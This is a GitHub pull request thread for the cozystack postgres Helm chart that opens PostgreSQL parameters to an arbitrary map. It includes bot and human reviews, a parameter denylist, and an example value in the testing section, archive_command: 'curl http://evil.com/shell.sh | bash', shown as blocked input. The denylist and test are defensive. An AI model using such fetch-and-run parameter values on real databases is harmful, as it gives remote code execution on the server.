Repository navigation
feat(postgres)!: support all PostgreSQL configuration parameters - #2466
Conversation
|
Note Reviews pausedIt looks like this branch is under active development. To avoid overwhelming you with review comments due to an influx of new commits, CodeRabbit has automatically paused this review. You can configure this behavior by changing the Use the following commands to manage reviews:
Use the checkboxes below for quick actions:
📝 WalkthroughWalkthroughPostgreSQL parameter representation changed from a typed Changes
Estimated code review effort🎯 3 (Moderate) | ⏱️ ~25 minutes Poem
🚥 Pre-merge checks | ✅ 5✅ Passed checks (5 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
a1c3bb2 to
7144d89
Compare
dosubot
Bot
added
size/S
Summary of ChangesHello, I'm Gemini Code Assist1! I'm currently reviewing this pull request and will post my feedback shortly. In the meantime, here's a summary to help you and other reviewers quickly get up to speed! This pull request enhances the flexibility of PostgreSQL configuration by allowing users to define any valid PostgreSQL parameter. It transitions the configuration structure from a fixed object to a map, while simultaneously introducing security safeguards to prevent the injection of dangerous parameters that could compromise the system. The changes include updates to the schema, templates, and documentation to ensure users are aware of best practices and potential risks. Highlights
🧠 New Feature in Public Preview: You can now enable Memory to help Gemini Code Assist learn from your team's feedback. This makes future code reviews more consistent and personalized to your project's style. Click here to enable Memory in your admin console. Using Gemini Code AssistThe full guide for Gemini Code Assist can be found on our documentation page, here are some quick tips. Invoking Gemini You can request assistance from Gemini at any point by creating a comment using either
Customization To customize Gemini Code Assist for GitHub experience, repository maintainers can create a configuration file and/or provide a custom code review style guide (such as PEP-8 for Python) by creating and adding files to a Limitations & Feedback Gemini Code Assist may make mistakes. Please leave feedback on any instances where its feedback is incorrect or counter productive. You can react with 👍 and 👎 on Gemini (@gemini-code-assist) comments. If you're interested in giving your feedback about your experience with Gemini Code Assist for GitHub and other Google products, sign up here. Footnotes
|
![gemini-code-assist[bot]](https://avatars.githubusercontent.com/in/956858?s=60&v=4){kind=small}
There was a problem hiding this comment.
Code Review
This pull request refactors the PostgreSQL parameter handling to use a flexible map[string]string instead of a fixed struct, allowing users to pass arbitrary configuration values. Key changes include updating the Go types, Helm templates, and JSON schema to support this map-based approach, along with adding a security check in the template to block dangerous parameters. Feedback focuses on improving the Helm template logic to avoid side effects and ensure stable output, addressing a breaking change in the JSON schema where integer values are no longer allowed, and improving the readability of long comments in the Go source code.
| {{- $defaults := dict "max_wal_senders" "30" }} | ||
| {{- $params := merge .Values.postgresql.parameters $defaults }} | ||
| {{- /* Security: Block parameters that could allow shell command execution */ -}} | ||
| {{- $dangerousParams := list "archive_command" "restore_command" "ssl_passphrase_command" "log_destination" "event_source" }} | ||
| {{- range $key, $value := $params }} | ||
| {{- if has $key $dangerousParams }} | ||
| {{- fail (printf "SECURITY: Parameter '%s' is blocked for security reasons. This parameter could allow arbitrary shell command execution and is managed by CloudNativePG operator." $key) }} | ||
| {{- end }} | ||
| {{ $key }}: "{{ $value }}" | ||
| {{- end }} |
There was a problem hiding this comment.
The current implementation has several issues:
- Side Effects: The
mergefunction in Helm/Sprig modifies the first argument in-place. This can lead to unexpected side effects if.Values.postgresql.parametersis used elsewhere. - Unstable Output: Iterating over a map in Helm results in a random order of parameters in the generated YAML, which causes noisy diffs. Using
keysandsortAlphaensures a stable order. - Quoting: Manual double quotes can break if the value contains special characters or quotes. The
quotefunction is safer. - Regression: If a user provides any parameter in
postgresql.parameters, the defaultmax_connectionsfromvalues.yamlis lost because Helm replaces the entire map. It should be included in the template defaults.
{{- $defaults := dict "max_wal_senders" "30" "max_connections" "100" }}
{{- $params := merge (dict) (.Values.postgresql.parameters | default dict) $defaults }}
{{- /* Security: Block parameters that could allow shell command execution */ ---}}
{{- $dangerousParams := list "archive_command" "restore_command" "ssl_passphrase_command" "log_destination" "event_source" }}
{{- range $key := keys $params | sortAlpha }}
{{- $value := index $params $key }}
{{- if has $key $dangerousParams }}
{{- fail (printf "SECURITY: Parameter '%s' is blocked for security reasons. This parameter could allow arbitrary shell command execution and is managed by CloudNativePG operator." $key) }}
{{- end }}
{{ $key }}: {{ $value | quote }}
{{- end }}| "additionalProperties": { | ||
| "type": "string" | ||
| } |
There was a problem hiding this comment.
Changing the type of additionalProperties to string is a breaking change for existing configurations that use integer values (e.g., max_connections: 100). While Helm might coerce these values, strict schema validators (like those used in dashboards or CI) will fail. Note that hack/e2e-apps/postgres.bats still uses an integer and will likely fail validation after this change.
| // Maximum number of concurrent connections to the database server. | ||
| // +kubebuilder:default:=100 | ||
| MaxConnections int `json:"max_connections,omitempty"` | ||
| // PostgreSQL server parameters. All values must be strings (enclose numbers in quotes). See PostgreSQL documentation for available parameters. WARNING: Some parameters are managed by CloudNativePG and should NOT be overridden (archive_mode, archive_command, restore_command, primary_conninfo, etc.). Incorrect values may break backup/replication or require pod restart. |
There was a problem hiding this comment.
The comment for the Parameters field is excessively long (over 400 characters) and should be wrapped for better readability and adherence to Go coding standards.
// PostgreSQL server parameters. All values must be strings (enclose numbers in quotes).
// See PostgreSQL documentation for available parameters.
// WARNING: Some parameters are managed by CloudNativePG and should NOT be overridden
// (archive_mode, archive_command, restore_command, primary_conninfo, etc.).
// Incorrect values may break backup/replication or require pod restart.![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 2
🧹 Nitpick comments (2)
packages/system/postgres-rd/cozyrds/postgres.yaml (1)
36-36:keysOrderonly pinsmax_connections; arbitrary user parameters get default ordering.Since
postgresql.parametersis now an open map, onlymax_connectionsis guaranteed an explicit slot in the dashboard ordering. Other keys (e.g.shared_buffers,work_mem) will appear in whatever order the UI picks. Not a bug — just note it for UX consistency.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@packages/system/postgres-rd/cozyrds/postgres.yaml` at line 36, The keysOrder currently only pins spec.postgresql.parameters.max_connections so arbitrary postgres parameters (e.g., shared_buffers, work_mem) will be displayed in unpredictable order; update the manifest to either enumerate the common parameter keys in keysOrder (add entries like ["spec","postgresql","parameters","shared_buffers"], ["spec","postgresql","parameters","work_mem"], etc.) or change the parameter representation to an ordered structure (e.g., an array of name/value pairs) so the UI can rely on stable ordering; target the keysOrder field and spec.postgresql.parameters (and keep max_connections entry) when making this change.api/apps/v1alpha1/postgresql/types.go (1)
1-1: Header saysDO NOT EDIT, but PR notes a manualgroupNamefix — consider reconciling with the generator.If the generator keeps clobbering the
// +groupName=apps.cozystack.iomarker, the long-term fix is to teachvalues-gento emit it rather than hand-patching every regeneration. Not blocking for this PR.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@api/apps/v1alpha1/postgresql/types.go` at line 1, The generated file api/apps/v1alpha1/postgresql/types.go is being manually patched to add the marker "// +groupName=apps.cozystack.io" despite the "DO NOT EDIT" header; fix by updating the values-gen generator to emit that group marker during generation (search for the template or code in the values-gen project that writes the types file header and add the "// +groupName=apps.cozystack.io" line or make it configurable), regenerate api/apps/v1alpha1/postgresql/types.go, and add/update any generator tests or config so future runs of values-gen preserve the marker automatically.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In `@api/apps/v1alpha1/postgresql/types.go`:
- Around line 111-115: The generated deepcopy file contains orphaned methods for
the removed type PostgreSQLParameters which causes a compile error; regenerate
the deepcopy artifacts so zz_generated.deepcopy.go no longer references
PostgreSQLParameters (the Parameters map on the PostgreSQL struct is handled by
the struct's generated methods). Run the project codegen (e.g. make generate or
controller-gen object) to recreate zz_generated.deepcopy.go, or manually remove
the PostgreSQLParameters DeepCopy* functions from zz_generated.deepcopy.go if
you must, then commit the regenerated file so the package compiles cleanly.
In `@packages/apps/postgres/templates/db.yaml`:
- Around line 60-69: The template currently mutates
.Values.postgresql.parameters via merge and emits unescaped values using "{{
$value }}", which can corrupt YAML; fix by creating a fresh parameters map
(e.g., merge into an empty dict rather than into .Values.postgresql.parameters)
so .Values is not mutated, and render each value with the template quote
function (use $value | quote) when emitting "{{ $key }}: ..." so embedded
quotes/backslashes are safely escaped; keep the blocked-parameters check (the
$dangerousParams/fail logic) and the same range over the new $params.
---
Nitpick comments:
In `@api/apps/v1alpha1/postgresql/types.go`:
- Line 1: The generated file api/apps/v1alpha1/postgresql/types.go is being
manually patched to add the marker "// +groupName=apps.cozystack.io" despite the
"DO NOT EDIT" header; fix by updating the values-gen generator to emit that
group marker during generation (search for the template or code in the
values-gen project that writes the types file header and add the "//
+groupName=apps.cozystack.io" line or make it configurable), regenerate
api/apps/v1alpha1/postgresql/types.go, and add/update any generator tests or
config so future runs of values-gen preserve the marker automatically.
In `@packages/system/postgres-rd/cozyrds/postgres.yaml`:
- Line 36: The keysOrder currently only pins
spec.postgresql.parameters.max_connections so arbitrary postgres parameters
(e.g., shared_buffers, work_mem) will be displayed in unpredictable order;
update the manifest to either enumerate the common parameter keys in keysOrder
(add entries like ["spec","postgresql","parameters","shared_buffers"],
["spec","postgresql","parameters","work_mem"], etc.) or change the parameter
representation to an ordered structure (e.g., an array of name/value pairs) so
the UI can rely on stable ordering; target the keysOrder field and
spec.postgresql.parameters (and keep max_connections entry) when making this
change.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro
Run ID: e8372725-1644-4379-9293-bb38393ca9ad
📒 Files selected for processing (6)
api/apps/v1alpha1/postgresql/types.gopackages/apps/postgres/README.mdpackages/apps/postgres/templates/db.yamlpackages/apps/postgres/values.schema.jsonpackages/apps/postgres/values.yamlpackages/system/postgres-rd/cozyrds/postgres.yaml
Aleksei Sviridkin (lexfrei)
left a comment
Aleksei Sviridkin (lexfrei)
left a comment
There was a problem hiding this comment.
The direction is fine — extending postgresql.parameters to a free-form map is a sensible improvement, and the small surface keeps the change easy to reason about. Two items block merge:
- The Go API package no longer compiles.
api/apps/v1alpha1/postgresql/zz_generated.deepcopy.gostill definesDeepCopyInto/DeepCopyfor the removedPostgreSQLParameterstype. Runmake generateand commit the regenerated file. (See inline.) - The e2e test
hack/e2e-apps/postgres.bats:19still submitsmax_connections: 100as an integer. With the new schema (additionalProperties: { type: string }) the dynamically-registered CRD will reject the resource and the e2e for this very feature will fail. Update the test tomax_connections: "100".
Inline observations cover safer template rendering (| quote, non-mutating merge) and a small security-framing nit. Please also revisit the unanswered CodeRabbit and Gemini Code Assist comments — most overlap with the points raised here.
| // +kubebuilder:default:=100 | ||
| MaxConnections int `json:"max_connections,omitempty"` | ||
| // PostgreSQL server parameters. All values must be strings (enclose numbers in quotes). See PostgreSQL documentation for available parameters. WARNING: Some parameters are managed by CloudNativePG and should NOT be overridden (archive_mode, archive_command, restore_command, primary_conninfo, etc.). Incorrect values may break backup/replication or require pod restart. | ||
| // +kubebuilder:default:={"max_connections":"100"} |
There was a problem hiding this comment.
The PR description says types.go was "auto-regenerated", but api/apps/v1alpha1/postgresql/zz_generated.deepcopy.go still defines PostgreSQLParameters.DeepCopyInto / DeepCopy referencing the removed type:
$ go build ./postgresql/...
postgresql/zz_generated.deepcopy.go:181:11: undefined: PostgreSQLParameters
postgresql/zz_generated.deepcopy.go:186:11: undefined: PostgreSQLParameters
postgresql/zz_generated.deepcopy.go:190:13: undefined: PostgreSQLParameters
Run make generate (or controller-gen object) and commit the regenerated deepcopy. The new map[string]string field is deep-copied by the parent PostgreSQL.DeepCopyInto and does not need its own method.
| {{- if has $key $dangerousParams }} | ||
| {{- fail (printf "SECURITY: Parameter '%s' is blocked for security reasons. This parameter could allow arbitrary shell command execution and is managed by CloudNativePG operator." $key) }} | ||
| {{- end }} | ||
| {{ $key }}: "{{ $value }}" |
There was a problem hiding this comment.
Two non-blocking issues here:
"{{ $value }}"does not escape embedded quotes or backslashes. A value containing"produces malformed YAML in the renderedClustermanifest. Use{{ $value | quote }}for safe escaping.merge .Values.postgresql.parameters $defaults— Sprig'smerge dst src…writes missing keys fromsrcintodstin place, mutating.Values.postgresql.parameters. Nothing else in this chart reads that path today so nothing breaks, but the pattern is a footgun. Prefermerge (dict) .Values.postgresql.parameters $defaultsto merge into a fresh dict.
Suggested:
{{- $defaults := dict "max_wal_senders" "30" }}
{{- $params := merge (dict) .Values.postgresql.parameters $defaults }}
{{- $dangerousParams := list "archive_command" "restore_command" "ssl_passphrase_command" "log_destination" "event_source" }}
{{- range $key, $value := $params }}
{{- if has $key $dangerousParams }}
{{- fail (printf "SECURITY: Parameter '%s' is blocked for security reasons. This parameter could allow arbitrary shell command execution and is managed by CloudNativePG operator." $key) }}
{{- end }}
{{ $key }}: {{ $value | quote }}
{{- end }}| {{- $defaults := dict "max_wal_senders" "30" }} | ||
| {{- $params := merge .Values.postgresql.parameters $defaults }} | ||
| {{- /* Security: Block parameters that could allow shell command execution */ -}} | ||
| {{- $dangerousParams := list "archive_command" "restore_command" "ssl_passphrase_command" "log_destination" "event_source" }} |
There was a problem hiding this comment.
Observation (non-blocking): the security framing in the PR description is partly inaccurate:
log_destinationselects log target (stderr/csvlog/syslog/eventlog) — it cannot pipe to a shell.event_sourceis the program identifier for the Windows event log; on Linux it has no effect.- The actual concern is preventing tenants from executing arbitrary shell as the
postgresuser inside their own pod, which they otherwise can't reach in cozystack — not "pod escape and privilege escalation" in the K8s sense.
Worth adding to the denylist: dynamic_library_path, local_preload_libraries, session_preload_libraries, shared_preload_libraries — these load arbitrary .so from a writable path. A denylist will keep growing as new vectors surface; an allowlist would be safer long-term.
dosubot
Bot
added
size/M
github-actions
Bot
added
the
area/database
There was a problem hiding this comment.
Round 3 status — all merge blockers from previous rounds are resolved.
Verified locally on 756cb00:
api/apps/v1alpha1/postgresqlandapi/backups/v1alpha1build cleanly; no leftover references to the removedPostgreSQLParameterstype.- Schema rejects integer values (
got number, want string) — migration tomap[string]stringis enforced at chart validation time. helm template --set-string postgresql.parameters.max_wal_senders=50rendersmax_wal_senders: "50"— user override now wins over the$defaultsmap. Default-only renders still emitmax_wal_senders: "30".- Denylist
failtriggers as expected forarchive_command.
LGTM from my side. Three items to consider before merging — non-blocking:
- PR description security framing:
log_destinationonly selects log target;event_sourceonly labels Windows event-log entries. Neither is a shell-execution vector, so the "pod escape and privilege escalation" framing is overstated. The real risk being mitigated is shell execution as thepostgresuser inside the tenant's own pod. - Denylist gaps:
dynamic_library_path,local_preload_libraries,session_preload_libraries, andshared_preload_librariesallow loading arbitrary.sofrom a writable path. A denylist will keep growing as new vectors surface; an allowlist would be safer long-term. - Switching
parametersfromint max_connectionstomap[string]stringis a breaking change for anyone withparameters.max_connections: 100(unquoted integer) in an existing HelmRelease — the new schema will reject it. Worth a line in the v1.4.0 changelog so operators know to quote values before upgrading.
| {{- with .Values.postgresql.parameters.max_connections }} | ||
| max_connections: "{{ . }}" | ||
| {{- $defaults := dict "max_wal_senders" "30" }} | ||
| {{- $params := merge (dict) $defaults .Values.postgresql.parameters }} |
There was a problem hiding this comment.
The argument order here makes defaults win over user values. Sprig merge dst src… gives precedence to dst, and sources are merged sequentially "fill-the-gaps" style — once $defaults populates max_wal_senders: "30" into the empty dict, .Values.postgresql.parameters can no longer overwrite it.
Reproduced with helm template:
{{- $defaults := dict "max_wal_senders" "30" }}
{{- $userParams := dict "max_wal_senders" "50" }}
buggy: {{- (merge (dict) $defaults $userParams).max_wal_senders }} # → "30" (user value lost)
correct: {{- (merge (dict) $userParams $defaults).max_wal_senders }} # → "50"Swap to merge (dict) .Values.postgresql.parameters $defaults so user-supplied parameters take precedence and defaults only fill gaps. This matches the override behaviour described in the PR body.
There was a problem hiding this comment.
Actionable comments posted: 1
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In `@packages/apps/postgres/templates/db.yaml`:
- Around line 63-66: The denylist check is case-sensitive and can be bypassed;
when iterating $params in the template (the block using $dangerousParams,
$params and has), normalize the parameter name to lowercase before testing
against $dangerousParams (or create a lowercase copy of $dangerousParams) so the
has() check compares lowercased keys (e.g., use a lowercased $key or lowercased
list) ensuring names like ARCHIVE_COMMAND are blocked; update the conditional
that currently uses has $key $dangerousParams to use the lowercased key/list
instead.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro
Run ID: 3c76aef0-db83-4738-9a1b-5a4bdb0f660a
📒 Files selected for processing (1)
packages/apps/postgres/templates/db.yaml
Aleksei Sviridkin (lexfrei)
left a comment
Aleksei Sviridkin (lexfrei)
left a comment
There was a problem hiding this comment.
All blockers from earlier rounds resolved on 756cb00. Verified locally: API packages build, schema enforces strings, helm template confirms user values now win over $defaults, denylist fail triggers on archive_command. Three non-blocking notes from the previous round still stand (PR description security framing, denylist gaps for *_preload_libraries / dynamic_library_path, and a changelog line about the int→string breaking change for existing HelmReleases).
…d compat Allow integer values in postgresql.parameters via anyOf schema, so existing HelmReleases with max_connections: 100 (integer) are not broken on upgrade. Template coerces all values to string via toString before quoting. Signed-off-by: IvanHunters <[email protected]>
Remove log_destination and event_source (not code-execution vectors). Add dynamic_library_path, local_preload_libraries, session_preload_libraries, shared_preload_libraries which allow loading arbitrary .so files. Improve error message accuracy. Signed-off-by: IvanHunters <[email protected]>
… postgres Revert the kubevirt-operator PrometheusRule changes that were included in this PR by mistake. These changes will be submitted in a separate PR for cleaner attribution. Signed-off-by: IvanHunters <[email protected]>
Update values.yaml comments and README to reflect the corrected denylist: remove log_destination and event_source (not code-execution vectors), add dynamic_library_path and *_preload_libraries (arbitrary .so loading). Signed-off-by: IvanHunters <[email protected]>
Update description in values.yaml with corrected denylist and re-run cozyvalues-gen to propagate changes to values.schema.json, README.md, and types.go. Signed-off-by: IvanHunters <[email protected]>
Signed-off-by: IvanHunters <[email protected]>
IvanHunters
changed the title
github-actions
Bot
added
the
kind/breaking-change
|
Round 5 — addressing all points from round 4. B1 (breaking change not labeled): Non-blocking from round 3 (denylist gaps): Non-blocking (kubevirt PrometheusRule): |
Aleksei Sviridkin (lexfrei)
left a comment
Aleksei Sviridkin (lexfrei)
left a comment
There was a problem hiding this comment.
LGTM — round 4 closes everything from my last review:
- B1 (breaking-change labeling) — title is now
feat(postgres)!:, the security denylist was tightened to the actual code-execution parameters (dynamic_library_path,local_preload_libraries,session_preload_libraries,shared_preload_libraries,archive_command,restore_command,ssl_passphrase_command), anddb.yaml:72now wraps values intoString | quoteas belt-and-suspenders against any non-string value that bypasses schema validation. - Non-blocking #1 (kubevirt-operator scope creep) reverted in a4d3c99 — this PR is now strictly postgres.
- Non-blocking #2 (templates/alerts.yaml dead code) becomes moot with the kubevirt revert.
Business context: Open up postgresql.parameters from a single-key struct (only max_connections) to an arbitrary map[string]string, with a security denylist for parameters that enable arbitrary code execution.
Non-blocking note
The PR body still lacks an explicit release-note block. The ! in the title is the strong breaking-change signal, but a one-line release-note (Existing values must quote integer parameters: max_connections: 100 → "100") would save the changelog scraper a step.
## Summary
Enable configuration of any PostgreSQL server parameter through
`postgresql.parameters`, not just `max_connections`, with built-in
security protection against dangerous parameters.
## Problem
Previously, the Postgres application only applied `max_connections` from
`postgresql.parameters`. All other standard PostgreSQL parameters (e.g.,
`bgwriter_delay`, `commit_delay`, `shared_buffers`) were silently
ignored.
This limitation existed because:
- Helm template only processed `max_connections` explicitly
- JSON schema blocked additional properties
CloudNativePG supports any PostgreSQL parameter, so this restriction was
artificial.
## Solution
Changed `postgresql.parameters` from a struct with a single field to
`map[string]string`:
- **values.yaml**: Changed parameter type to map with usage examples and
warnings
- **values.schema.json**: Added `additionalProperties` to allow any
parameter
- **templates/db.yaml**: Use `merge` to combine defaults with user
parameters, preventing duplication
- **Security validation**: Block parameters that could allow shell
command execution
- **types.go**: Auto-regenerated with new structure (manual fix for
groupName)
- **README.md**: Added comprehensive warnings about blocked parameters,
CloudNativePG-managed parameters, restart requirements, and security
considerations
- **CRD**: Updated in postgres-rd
## Security Features
**Blocked parameters** (will fail deployment with clear error):
- `archive_command` — could execute shell commands during WAL archiving
- `restore_command` — could execute shell commands during recovery
- `ssl_passphrase_command` — could execute shell commands for SSL key
decryption
- `log_destination` — could redirect logs to shell pipes
- `event_source` — could be exploited for command injection
These parameters pose severe security risks and could allow arbitrary
code execution in PostgreSQL pods, potentially leading to pod escape and
privilege escalation in multi-tenant environments.
## Key Features
- **Security first**: Validates and blocks dangerous parameters
- **No duplication**: `max_wal_senders` default can be overridden
without conflicts
- **User priority**: User-specified parameters override defaults
- **Comprehensive warnings**: Documentation covers blocked parameters,
managed parameters, restart requirements, and security risks
## Testing
Verified with `helm template`:
**Basic parameters work:**
```yaml
postgresql:
parameters:
max_connections: "200"
shared_buffers: "1GB"
work_mem: "256MB"
```
**Dangerous parameters are blocked:**
```yaml
postgresql:
parameters:
archive_command: "curl http://evil.com/shell.sh | bash"
```
Results in: `SECURITY: Parameter 'archive_command' is blocked for
security reasons...`
**Override defaults:**
```yaml
postgresql:
parameters:
max_wal_senders: "50" # Overrides default "30"
```
All values are converted to strings as required by CloudNativePG.
## Breaking Changes
**`postgresql.parameters.max_connections`** now expects a string value
(`"100"`) instead of integer.
**Impact**: Existing configurations using integer values will be
automatically converted by Helm templating, but explicit string values
are recommended for clarity.
**Migration**: Change `max_connections: 100` to `max_connections: "100"`
in values.
## Documentation
Added warnings about:
- Blocked parameters (security)
- CloudNativePG-managed parameters (do not override)
- Parameters requiring pod restart
- Security-sensitive parameters
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Rendering now fails fast if blocked/sensitive PostgreSQL parameters
are supplied.
* Chart supplies a default for WAL senders during values merge.
* **Refactor**
* PostgreSQL parameters changed to a flexible map of string→string;
numeric values must be quoted (e.g., "100").
* **Documentation**
* Docs and schemas updated with string-only guidance, default values
(e.g., "100") and warnings about managed parameters.
* **Tests**
* E2E test values updated to use quoted parameter values.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
IvanHunters
added
the
kind/backport-previous
|
Backport failed for Please cherry-pick the changes locally and resolve any conflicts. git fetch origin release-1.2
git worktree add -d .worktree/backport-2466-to-release-1.2 origin/release-1.2
cd .worktree/backport-2466-to-release-1.2
git switch --create backport-2466-to-release-1.2
git cherry-pick -x fb0ed085655a523b0952f63d17e62fc6d5ff5c49 f8001e23b68980438beccfad7d3b711b7e8c8ac1 96c7c16c21385f836d8f8f08d15799f7f802ffcb fac0622499357bf1f2c4e6a5b29dc1b16864efb7 a753088fb4a9356c6a12293ff80633c37c1dfb54 c2bad2ab5d71883630c2285f26afa181a23cb2be 6ec761fc1f397e82d928318da2cfe0c2537e174e 97d8f84be4e4c96418a72039da397ce783e29272 a4d3c99a9a3af106bd8c75196113da0b7ea35443 95f7be7a383106f18596b3391ceb937239d2972d 53caea3e08bfa31f8693f716886e0dded6d5da4a fe6b4485fbc1b6bd8c5a3989a33d90f143f22d22 |
IvanHunters
added
kind/backport
|
Successfully created backport PR for |
## What this PR does Follow-up to #2675. Fixes four broken references in `docs/changelogs/v1.4.0.md` that were caught by re-verifying every link in the merged changelog: | Where | Was | Now | |---|---|---| | Resource Presets doc link (Feature Highlights) | `cozystack.io/docs/operations/resource-presets/` (404) | `cozystack.io/docs/v1.4/guides/resource-management/` | | HAMi doc link (Feature Highlights) | `cozystack.io/docs/operations/kubernetes/hami/` (404) | `cozystack.io/docs/v1.4/kubernetes/gpu-sharing/` | | Upgrade notes — resource presets PR ref | `#2426` (`feat(monitoring): upgrade victoria-metrics-operator`) | `#2607` (`feat(apps): instance-type resource presets`) | | Upgrade notes — postgres parameters PR ref | `#2475` (unrelated open issue about bundle YAML) | `#2466` (`feat(postgres)!: support all PostgreSQL configuration parameters`) | The Feature Highlights / Major Features sections already cited #2607 and #2466 correctly; only the Upgrade Notes section pointed at the wrong PR numbers. ### Release note ```release-note NONE ``` <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Documentation** * Updated changelog documentation links to reflect new resource management guides location. * Refreshed HAMi compatibility references to point to current GPU-sharing documentation. * Updated related PR references in upgrade notes for accuracy. <!-- review_stack_entry_start --> [](https://app.coderabbit.ai/change-stack/cozystack/cozystack/pull/2693?utm_source=github_walkthrough&utm_medium=github&utm_campaign=change_stack) <!-- review_stack_entry_end --> <!-- end of auto-generated comment: release notes by coderabbit.ai -->
%5D(https%3A%2F%2Fapp.coderabbit.ai%2Fchange-stack%2Fcozystack%2Fcozystack%2Fpull%2F2693%3Futm_source%3Dgithub_walkthrough%26amp%3Butm_medium%3Dgithub%26amp%3Butm_campaign%3Dchange_stack){kind=link}
- Resource Presets doc URL: /docs/operations/resource-presets/ → /docs/v1.4/guides/resource-management/ (was 404) - HAMi doc URL: /docs/operations/kubernetes/hami/ → /docs/v1.4/kubernetes/gpu-sharing/ (was 404) - Upgrade-notes PR ref for presets: cozystack#2426 → cozystack#2607 - Upgrade-notes PR ref for postgres parameters: cozystack#2475 → cozystack#2466 Assisted-By: Claude <[email protected]> Signed-off-by: Myasnikov Daniil <[email protected]>
…erator
Ivan's original schema edits were correct in intent but lived in the
generated artifacts (values.schema.json and the embedded openAPISchema
in postgres-rd/cozyrds/postgres.yaml). `make generate` reverts them
because values.yaml's `@field {map[string]string}` annotation is the
source of truth -- same regeneration trap that caught #2466 (issue #2597).
cozyvalues-gen v1.4.0 (cozystack/cozyvalues-gen#25, merged 2026-05-21)
adds an `intOrString` type alias for map values that emits
`additionalProperties.anyOf: [integer, string]` plus
`x-kubernetes-int-or-string: true`. Move the change to source by
flipping the annotation, then regenerate:
- packages/apps/postgres/values.yaml: `@field {map[string]intOrString}`
with updated description noting integer values are accepted.
- packages/apps/postgres/values.schema.json: regenerated -- now carries
anyOf + x-kubernetes-int-or-string: true.
- packages/system/postgres-rd/cozyrds/postgres.yaml: embedded
openAPISchema regenerated to match.
- packages/apps/postgres/README.md: regenerated type column.
- api/apps/v1alpha1/postgresql/types.go: Parameters is now
`map[string]intstr.IntOrString`.
The result survives future regenerations. The template's
`{{ \$value | toString | quote }}` already coerces both inputs to
quoted strings, verified end-to-end with helm template against both
`max_connections: 100` (int) and `max_connections: "100"` (string) --
identical render output. Dangerous-param block list still rejects
archive_cleanup_command and recovery_end_command additions from the
prior commit.
Co-Authored-By: IvanHunters <[email protected]>
Assisted-By: Claude <[email protected]>
Signed-off-by: Myasnikov Daniil <[email protected]>
…erator
Ivan's original schema edits were correct in intent but lived in the
generated artifacts (values.schema.json and the embedded openAPISchema
in postgres-rd/cozyrds/postgres.yaml). `make generate` reverts them
because values.yaml's `@field {map[string]string}` annotation is the
source of truth -- same regeneration trap that caught #2466 (issue #2597).
cozyvalues-gen v1.4.0 (cozystack/cozyvalues-gen#25, merged 2026-05-21)
adds an `intOrString` type alias for map values that emits
`additionalProperties.anyOf: [integer, string]` plus
`x-kubernetes-int-or-string: true`. Move the change to source by
flipping the annotation, then regenerate:
- packages/apps/postgres/values.yaml: `@field {map[string]intOrString}`
with updated description noting integer values are accepted.
- packages/apps/postgres/values.schema.json: regenerated -- now carries
anyOf + x-kubernetes-int-or-string: true.
- packages/system/postgres-rd/cozyrds/postgres.yaml: embedded
openAPISchema regenerated to match.
- packages/apps/postgres/README.md: regenerated type column.
- api/apps/v1alpha1/postgresql/types.go: Parameters is now
`map[string]intstr.IntOrString`.
The result survives future regenerations. The template's
`{{ \$value | toString | quote }}` already coerces both inputs to
quoted strings, verified end-to-end with helm template against both
`max_connections: 100` (int) and `max_connections: "100"` (string) --
identical render output. Dangerous-param block list still rejects
archive_cleanup_command and recovery_end_command additions from the
prior commit.
Co-Authored-By: IvanHunters <[email protected]>
Assisted-By: Claude <[email protected]>
Signed-off-by: Myasnikov Daniil <[email protected]>
…ema (#2687) ## What this PR does PostgreSQL server parameters like `max_connections` are natural integers, but the chart's schema declared them as `{type: string}` only. When users supply bare integers (e.g. `max_connections: 100`) — either directly in Application CR specs or via the UI — Helm rejects the values at schema validation time before template rendering, causing HelmRelease failures. The Helm template already handles both types via `{{ $value | toString | quote }}`, so the fix is to teach the schema to accept both. ### Approach The schema files (`values.schema.json` and the embedded `openAPISchema` in `postgres-rd/cozyrds/postgres.yaml`) are generated from `values.yaml` annotations via `cozyvalues-gen`. Hand-editing them does not survive `make generate` — same regeneration trap that caught #2466 (issue #2597). `cozyvalues-gen` v1.4.0 (cozystack/cozyvalues-gen#25) adds an `intOrString` type alias for map values that emits `additionalProperties.anyOf: [integer, string]` plus the Kubernetes `x-kubernetes-int-or-string: true` marker. ### Changes - `packages/apps/postgres/values.yaml`: annotation flipped from `@field {map[string]string}` to `@field {map[string]intOrString}`, description updated to note integer values are accepted. - Regenerated artifacts: `values.schema.json`, embedded `openAPISchema` in `packages/system/postgres-rd/cozyrds/postgres.yaml`, `packages/apps/postgres/README.md`, and `api/apps/v1alpha1/postgresql/types.go` (Parameters is now `map[string]intstr.IntOrString`). - `packages/apps/postgres/templates/db.yaml`: `$dangerousParams` list extended with `archive_cleanup_command` and `recovery_end_command` (same RCE surface as `archive_command` / `restore_command`). ### Verification - `helm template` with `max_connections: 200` (int) and `max_connections: "200"` (string) produce identical render output. - Dangerous-param block list rejects `archive_cleanup_command` and `recovery_end_command` with the expected `SECURITY:` error. - `make test` in `packages/apps/postgres/`: 13/13 pass. - `make generate` is idempotent — schema files don't drift on regen. ### Release note ```release-note fix(postgres): accept integer values for postgresql.parameters to prevent HelmRelease failures when parameters are supplied as unquoted integers; also block archive_cleanup_command and recovery_end_command 